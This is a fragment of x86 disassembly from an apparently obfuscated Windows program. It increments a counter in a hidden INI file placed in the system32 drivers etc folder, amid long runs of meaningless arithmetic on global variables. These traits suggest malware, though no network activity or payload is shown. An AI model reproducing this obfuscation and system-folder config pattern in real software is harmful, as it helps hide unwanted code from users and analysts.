sub eax, edx
sub eax, dword [0x4518e0]
push str.C:WINDOWS_system32driversetc_service5.ini
add eax, 0x2044
push 0x800
mov dword [0x4518d8], eax
lea eax, [ebp - 0x10c4]
push eax
push 0x441e2d
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518d8]
mov edi, dword [0x4518f0]
imul esi, esi, 0x1538
mov eax, 0x61dea4df
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x4cf
sub esi, ecx
add esi, edi
lea ecx, [ebp - 0x10c4]
lea eax, [edx + esi + 0x14d5]
push ecx
mov dword [0x4518e0], eax
call fcn.004251ca
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x441dec
push edx
call fcn.004250ea
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x4518d8]
mov esi, dword [0x4518dc]
mov eax, dword [0x4518e0]
imul esi, esi, 0xa08
mov edx, ecx
imul eax, eax, 0x86d
imul edx, edx, 0xfad
sub esi, edx
add esi, eax
mov eax, 0x6a79dd7b
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x4518e8], esi
mov esi, dword [0x563ce0]
inc esi
push 0
mov dword [0x563ce0], esi
call fcn.004251cf
add esp, 4
mov dword [0x563ce4], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405cd0
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518d4]
mov edi, dword [0x4518f0]
mov eax, 0x8b081419
imul ecx, ecx, 0x1d41
imul esi, esi, 0x14ed
imul edi
add edx, edi
mov edi, dword [0x4518d8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, edi
add ecx, 0x1339
push ecx
mov dword [0x4518f0], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x4131fc
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x563980
call fcn.00406fe0
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518ec]
mov eax, 0x4152dddf
imul esi, esi, 0xfffff5f8
imul ecx
mov ecx, dword [0x4518f0]
sar edx, 0xa
mov edi, dword [str._r_____r_____n]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6a79dd7b
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub esi, ecx
mov ecx, dword [ebp - 0x10c8]
add esi, edi
lea eax, [edx + esi - 0x86c]
push 0
push ecx
mov dword [0x4518d4], eax
call fcn.00418990
mov ecx, dword [0x4518e8]
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
mov esi, eax
mov eax, 0xa5b2ed37
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
sub eax, esi
add esp, 8
sub eax, edx
mov edx, dword [0x4518f4]
lea eax, [eax + edx - 0x866]
mov dword [0x4518dc], eax
mov esi, dword [0x4518e0]
mov eax, 0x8c03f71d
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov esi, eax
mov eax, 0x1bfba0af
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x86d
sub eax, esi
sub eax, edx
add eax, 0x322e
mov dword [0x4518e4], eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 5
je 0x413323
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4518e8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 4
je 0x41333d
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4518e8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x413357
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4518e8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x413371
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4518e8]
mov eax, dword [ebp - 0x10ec]
mov ebx, dword [0x4518d8]
mov edi, dword [0x4518f4]
inc eax
mov dword [ebp - 0x10ec], eax
mov esi, eax
jmp 0x411c40
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x4133a5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [str._r_____r_____n]
mov eax, 0x5a4d12c9
imul ecx, ecx, 0xb57
imul dword [0x4518d8]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x4518e4]
imul eax, eax, 0x687
lea ecx, [ecx + eax - 0x86c]
mov eax, dword [ebp - 0x10f4]
mov dword [0x4518ec], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret